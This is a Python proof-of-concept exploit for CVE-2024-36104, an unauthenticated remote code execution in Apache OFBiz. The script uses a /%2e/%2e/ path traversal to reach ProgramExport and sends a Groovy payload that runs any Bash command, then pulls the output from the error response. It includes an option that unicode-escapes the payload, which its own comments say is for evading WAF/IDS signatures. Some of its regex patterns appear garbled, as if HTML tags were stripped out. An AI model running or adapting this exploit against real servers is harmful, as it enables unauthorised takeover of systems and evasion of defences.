#!/usr/bin/env python3
from __future__ import annotations
import argparse
import html
import re
import sys
from datetime import datetime, timezone
from urllib.parse import urlparse
import requests
import urllib3
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
RESET = "\033[0m"
BOLD = "\033[1m"
DIM = "\033[2m"
GREEN = "\033[32m"
CYAN = "\033[36m"
YELLOW = "\033[33m"
RED = "\033[31m"
DEFAULT_PREFIX_VIEW = "forgotPassword"
DEFAULT_TARGET_VIEW = "ProgramExport"
DEFAULT_COMMAND = "id"
USER_AGENT = (
"Mozilla/5.0 (X11; Linux x86_64; rv:128.0) "
"Gecko/20100101 Firefox/128.0"
)
class Console:
def __init__(
self,
only_final: bool = False,
no_color: bool = False,
debug_enabled: bool = False,
) -> None:
self.only_final = only_final
self.no_color = no_color or not sys.stdout.isatty()
self.debug_enabled = debug_enabled
def color(self, text: str, code: str) -> str:
if self.no_color:
return text
return f"{code}{text}{RESET}"
def log(self, marker: str, message: str, color: str = RESET) -> None:
if self.only_final:
return
ts = datetime.now(timezone.utc).isoformat(timespec="seconds").replace("+00:00", "Z")
prefix = self.color(f"[{ts}]", DIM)
print(f"{prefix} {self.color(marker, color)} {message}", flush=True)
def info(self, message: str) -> None:
self.log("[*]", message, CYAN)
def ok(self, message: str) -> None:
self.log("[+]", message, GREEN)
def warn(self, message: str) -> None:
self.log("[!]", message, YELLOW)
def error(self, message: str) -> None:
self.log("[-]", message, RED)
def debug(self, message: str) -> None:
if self.debug_enabled:
self.log("[d]", message, DIM)
def result(self, command: str, output: str) -> None:
title = f"Output of: {command}"
if self.only_final:
print(output)
return
print("")
print(self.color(f"[+] {title}", BOLD + GREEN))
print(output)
console = Console()
def validate_target(target: str) -> str:
"""Normalizes and validates the target base URL."""
target = target.strip().rstrip("/")
parsed = urlparse(target)
if parsed.scheme not in ("http", "https"):
raise ValueError("Target must start with http:// or https://")
if not parsed.netloc:
raise ValueError("Target URL is not valid.")
return target
def groovy_quote(value: str) -> str:
"""
Escapes a Python string into a single-quoted Groovy string literal,
so quotes, backslashes and newlines in the command can't break out
of the generated Groovy source.
"""
escaped = (
value
.replace("\\", "\\\\")
.replace("'", "\\'")
.replace("\r", "\\r")
.replace("\n", "\\n")
.replace("\t", "\\t")
)
return f"'{escaped}'"
def unicode_escape(value: str) -> str:
"""
Encodes every character as a \\uXXXX escape. Public write-ups of this
exploit send groovyProgram this way to slip past naive WAF/IDS
signatures that pattern-match on plaintext Groovy keywords. Not
required against a plain OFBiz instance, only kept as an option.
"""
return "".join(f"u{ord(c):04x}" for c in value)
def build_payload(command: str, obfuscate: bool) -> dict[str, str]:
"""
Always runs the command as:
/usr/bin/bash -lc COMMAND
which lets Bash interpret &&, ||, |, >, >>, 2>&1, variables, command
substitution and globbing in COMMAND.
"""
command_literal = groovy_quote(command)
groovy_program = (
"def p = ["
"'/usr/bin/bash', "
"'-lc', "
f"{command_literal}"
"].execute(); "
"throw new Exception(p.text);"
)
if obfuscate:
groovy_program = unicode_escape(groovy_program)
return {"groovyProgram": groovy_program}
def extract_exception(response_text: str) -> str | None:
"""Extracts the java.lang.Exception payload from OFBiz's HTML response."""
decoded = html.unescape(response_text)
patterns = [
(
r"java\.lang\.Exception:\s*"
r"(.*?)(?:||
|
|$)"
),
(
r"Exception:\s*"
r"(.*?)(?:|||
|$)"
),
]
for pattern in patterns:
match = re.search(
pattern,
decoded,
flags=re.IGNORECASE | re.DOTALL,
)
if not match:
continue
result = match.group(1)
result = re.sub(r"
", "\n", result, flags=re.IGNORECASE)
result = re.sub(r"<[^>]+>", "", result)
result = html.unescape(result).strip()
if result:
return result
return None
def build_endpoint(prefix_view: str, target_view: str) -> str:
"""
Builds the vulnerable control path.
OFBiz's ControlServlet resolves `prefix_view` first (an unauthenticated
view such as forgotPassword), then fails to canonicalize the path
before the security/permission check runs. The `/%2e/%2e/` segments
decode to `/./..` and collapse back onto `/webtools/control/`, so the
request lands on `target_view` (ProgramExport) without ever going
through the auth check tied to the original view name. ProgramExport
then executes arbitrary Groovy unauthenticated.
"""
prefix_view = prefix_view.strip("/")
target_view = target_view.strip("/")
return f"/webtools/control/{prefix_view}/%2e/%2e/{target_view}"
def exploit(
target: str,
host_header: str,
command: str,
prefix_view: str,
target_view: str,
endpoint_override: str | None,
timeout: int,
obfuscate: bool,
show_payload: bool,
show_response: bool,
) -> int:
"""Sends the Groovy payload to the vulnerable OFBiz endpoint."""
target = validate_target(target)
endpoint_path = endpoint_override or build_endpoint(prefix_view, target_view)
endpoint_path = "/" + endpoint_path.lstrip("/")
endpoint = target + endpoint_path
payload = build_payload(command, obfuscate)
headers = {
"Host": host_header,
"User-Agent": USER_AGENT,
"Accept": "*/*",
"Connection": "close",
}
console.info(f"Target: {endpoint}")
console.info(f"Host header sent: {host_header}")
console.info(f"Command: {command}")
if show_payload:
console.log("[*]", "Groovy payload:", CYAN)
print(payload["groovyProgram"])
try:
response = requests.post(
endpoint,
headers=headers,
data=payload,
verify=False,
timeout=timeout,
allow_redirects=False,
)
except requests.Timeout:
console.error("Connection timed out.")
console.warn("The command may still be running server-side if it did not finish on its own.")
return 1
except requests.ConnectionError as error:
console.error(f"Connection error: {error}")
return 1
console.info(f"HTTP status: {response.status_code}")
console.info(f"Response size: {len(response.content)} bytes")
if response.is_redirect:
location = response.headers.get("Location", "(no Location header)")
console.warn(f"Redirected to: {location}")
extracted = extract_exception(response.text)
if extracted:
console.result(command, extracted)
return 0
console.error("Could not automatically extract command output.")
if response.status_code == 502:
console.error("Backend did not finish the request before the proxy timeout.")
if show_response or response.status_code >= 500:
console.log("[-]", "Full response:", RED)
print(response.text)
return 1
def build_parser() -> argparse.ArgumentParser:
parser = argparse.ArgumentParser(
description=(
"CVE-2024-36104 Apache OFBiz unauthenticated Groovy RCE PoC "
"(pre-18.12.14, via /%2e/%2e/ view path traversal reaching "
"ProgramExport)."
)
)
parser.add_argument(
"-t",
"--target",
required=True,
help="Target base URL. Example: https://10.129.231.23",
)
parser.add_argument(
"-H",
"--host-header",
default="localhost",
help="Value of the Host header. Default: localhost",
)
parser.add_argument(
"-c",
"--command",
default=DEFAULT_COMMAND,
help=f"Command that Bash will interpret. Default: {DEFAULT_COMMAND}",
)
parser.add_argument(
"--prefix-view",
default=DEFAULT_PREFIX_VIEW,
help=(
"Unauthenticated view used before the /%%2e/%%2e/ traversal. "
f"Default: {DEFAULT_PREFIX_VIEW}"
),
)
parser.add_argument(
"--target-view",
default=DEFAULT_TARGET_VIEW,
help=f"View reached after the traversal. Default: {DEFAULT_TARGET_VIEW}",
)
parser.add_argument(
"--endpoint",
default=None,
help=(
"Full custom endpoint path, overrides --prefix-view/--target-view. "
"Example: /webtools/control/forgotPassword/%%2e/%%2e/ProgramExport"
),
)
parser.add_argument(
"--timeout",
type=int,
default=15,
help="Maximum HTTP request time in seconds. Default: 15",
)
parser.add_argument(
"--obfuscate",
action="store_true",
help="Send groovyProgram as \\uXXXX escapes instead of plaintext.",
)
parser.add_argument(
"--show-payload",
action="store_true",
help="Print the generated Groovy code before sending it.",
)
parser.add_argument(
"--show-response",
action="store_true",
help="Print the full HTML response.",
)
parser.add_argument(
"--only-final",
action="store_true",
help="Hide progress logs and print only the command output.",
)
parser.add_argument(
"--no-color",
action="store_true",
help="Disable ANSI colors.",
)
parser.add_argument(
"--debug",
action="store_true",
help="Enable extra diagnostic logging.",
)
return parser
def main() -> None:
parser = build_parser()
args = parser.parse_args()
if args.timeout < 1:
parser.error("--timeout must be greater than zero.")
global console
console = Console(
only_final=args.only_final,
no_color=args.no_color,
debug_enabled=args.debug,
)
try:
status = exploit(
target=args.target,
host_header=args.host_header,
command=args.command,
prefix_view=args.prefix_view,
target_view=args.target_view,
endpoint_override=args.endpoint,
timeout=args.timeout,
obfuscate=args.obfuscate,
show_payload=args.show_payload,
show_response=args.show_response,
)
sys.exit(status)
except ValueError as error:
console.error(str(error))
sys.exit(1)
except requests.RequestException as error:
console.error(f"HTTP error: {error}")
sys.exit(1)
except KeyboardInterrupt:
console.warn("Interrupted.")
sys.exit(130)
if __name__ == "__main__":
main()